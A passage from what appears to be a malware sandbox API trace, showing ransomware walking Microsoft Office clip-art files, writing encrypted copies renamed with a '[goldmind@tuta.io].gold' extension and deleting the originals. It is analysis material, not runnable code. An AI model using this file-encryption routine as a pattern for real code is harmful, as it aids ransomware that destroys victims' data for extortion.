(lpString1=".pdf", lpString2=".WMF") returned -1 [0095.195] lstrlenW (lpString=".xls") returned 4 [0095.195] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.195] lstrlenW (lpString=".xlsx") returned 5 [0095.195] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.195] lstrlenW (lpString=".ppt") returned 4 [0095.195] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.195] lstrlenW (lpString=".zip") returned 4 [0095.195] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.195] lstrlenW (lpString=".rar") returned 4 [0095.195] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.195] lstrlenW (lpString=".bz2") returned 4 [0095.195] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.195] lstrlenW (lpString=".7z") returned 3 [0095.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.195] lstrlenW (lpString=".dbf") returned 4 [0095.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.195] lstrlenW (lpString=".1cd") returned 4 [0095.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.195] lstrlenW (lpString=".jpg") returned 4 [0095.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.196] lstrlenW (lpString=".doc") returned 4 [0095.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString=".docx") returned 5 [0095.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.196] lstrlenW (lpString=".pdf") returned 4 [0095.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString=".xls") returned 4 [0095.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.196] lstrlenW (lpString=".xlsx") returned 5 [0095.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.196] lstrlenW (lpString=".ppt") returned 4 [0095.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.196] lstrlenW (lpString=".zip") returned 4 [0095.196] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.196] lstrlenW (lpString=".rar") returned 4 [0095.196] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString=".bz2") returned 4 [0095.196] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString=".7z") returned 3 [0095.196] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.196] lstrlenW (lpString=".dbf") returned 4 [0095.196] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.196] lstrlenW (lpString=".1cd") returned 4 [0095.196] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0095.196] lstrlenW (lpString=".jpg") returned 4 [0095.196] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.196] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.196] lstrlenW (lpString="EN00202_.WMF") returned 12 [0095.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.221] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6938) returned 1 [0095.221] CloseHandle (hObject=0x3a4) returned 1 [0095.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0095.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.225] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.225] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.225] GetLastError () returned 0x0 [0095.225] ReadFile (in: hFile=0x3a4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0095.228] WriteFile (in: hFile=0x190, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0095.228] ReadFile (in: hFile=0x3a4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.228] WriteFile (in: hFile=0x190, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.228] SetEndOfFile (hFile=0x190) returned 1 [0095.229] CloseHandle (hObject=0x190) returned 1 [0095.229] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.229] SetEndOfFile (hFile=0x3a4) returned 1 [0095.230] CloseHandle (hObject=0x3a4) returned 1 [0095.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0095.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.231] lstrlenW (lpString=".doc") returned 4 [0095.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.231] lstrlenW (lpString=".docx") returned 5 [0095.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.231] lstrlenW (lpString=".pdf") returned 4 [0095.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.231] lstrlenW (lpString=".xls") returned 4 [0095.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.231] lstrlenW (lpString=".xlsx") returned 5 [0095.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.231] lstrlenW (lpString=".ppt") returned 4 [0095.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.231] lstrlenW (lpString=".zip") returned 4 [0095.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.231] lstrlenW (lpString=".rar") returned 4 [0095.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.231] lstrlenW (lpString=".bz2") returned 4 [0095.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.231] lstrlenW (lpString=".7z") returned 3 [0095.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".dbf") returned 4 [0095.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".1cd") returned 4 [0095.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".jpg") returned 4 [0095.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".doc") returned 4 [0095.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString=".docx") returned 5 [0095.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.232] lstrlenW (lpString=".pdf") returned 4 [0095.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString=".xls") returned 4 [0095.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.232] lstrlenW (lpString=".xlsx") returned 5 [0095.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.232] lstrlenW (lpString=".ppt") returned 4 [0095.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".zip") returned 4 [0095.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.232] lstrlenW (lpString=".rar") returned 4 [0095.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString=".bz2") returned 4 [0095.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString=".7z") returned 3 [0095.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".dbf") returned 4 [0095.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".1cd") returned 4 [0095.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0095.232] lstrlenW (lpString=".jpg") returned 4 [0095.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.232] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.232] lstrlenW (lpString="EN00222_.WMF") returned 12 [0095.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.233] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=12356) returned 1 [0095.233] CloseHandle (hObject=0x3a4) returned 1 [0095.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 0x20 [0095.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0095.233] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.233] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.234] GetLastError () returned 0x0 [0095.234] ReadFile (in: hFile=0x3a4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3044, lpOverlapped=0x0) returned 1 [0095.236] WriteFile (in: hFile=0x190, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x3050, lpOverlapped=0x0) returned 1 [0095.237] ReadFile (in: hFile=0x3a4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.237] WriteFile (in: hFile=0x190, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.237] SetEndOfFile (hFile=0x190) returned 1 [0095.237] CloseHandle (hObject=0x190) returned 1 [0095.237] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.237] SetEndOfFile (hFile=0x3a4) returned 1 [0095.239] CloseHandle (hObject=0x3a4) returned 1 [0095.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00222_.wmf")) returned 1 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString=".doc") returned 4 [0095.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString=".docx") returned 5 [0095.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.240] lstrlenW (lpString=".pdf") returned 4 [0095.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString=".xls") returned 4 [0095.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.240] lstrlenW (lpString=".xlsx") returned 5 [0095.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.240] lstrlenW (lpString=".ppt") returned 4 [0095.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString=".zip") returned 4 [0095.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.240] lstrlenW (lpString=".rar") returned 4 [0095.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString=".bz2") returned 4 [0095.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString=".7z") returned 3 [0095.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString=".dbf") returned 4 [0095.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString=".1cd") returned 4 [0095.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString=".jpg") returned 4 [0095.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.240] lstrlenW (lpString=".doc") returned 4 [0095.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString=".docx") returned 5 [0095.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.240] lstrlenW (lpString=".pdf") returned 4 [0095.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.240] lstrlenW (lpString=".xls") returned 4 [0095.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.240] lstrlenW (lpString=".xlsx") returned 5 [0095.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.240] lstrlenW (lpString=".ppt") returned 4 [0095.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.241] lstrlenW (lpString=".zip") returned 4 [0095.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.241] lstrlenW (lpString=".rar") returned 4 [0095.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.241] lstrlenW (lpString=".bz2") returned 4 [0095.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.241] lstrlenW (lpString=".7z") returned 3 [0095.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.241] lstrlenW (lpString=".dbf") returned 4 [0095.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.241] lstrlenW (lpString=".1cd") returned 4 [0095.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00222_.WMF") returned 63 [0095.241] lstrlenW (lpString=".jpg") returned 4 [0095.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.241] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.241] lstrlenW (lpString="EN00242_.WMF") returned 12 [0095.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.243] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6780) returned 1 [0095.243] CloseHandle (hObject=0x190) returned 1 [0095.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 0x20 [0095.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.243] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.243] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0095.244] GetLastError () returned 0x0 [0095.244] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1a7c, lpOverlapped=0x0) returned 1 [0095.249] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1a80, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1a80, lpOverlapped=0x0) returned 1 [0095.250] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.250] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.250] SetEndOfFile (hFile=0x3b4) returned 1 [0095.250] CloseHandle (hObject=0x3b4) returned 1 [0095.251] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.251] SetEndOfFile (hFile=0x190) returned 1 [0095.252] CloseHandle (hObject=0x190) returned 1 [0095.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00242_.wmf")) returned 1 [0095.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.253] lstrlenW (lpString=".doc") returned 4 [0095.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString=".docx") returned 5 [0095.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.253] lstrlenW (lpString=".pdf") returned 4 [0095.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString=".xls") returned 4 [0095.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.253] lstrlenW (lpString=".xlsx") returned 5 [0095.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.253] lstrlenW (lpString=".ppt") returned 4 [0095.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00242_.WMF") returned 63 [0095.253] lstrlenW (lpString=".zip") returned 4 [0095.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.253] lstrlenW (lpString=".rar") returned 4 [0095.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.253] lstrlenW (lpString=".bz2") 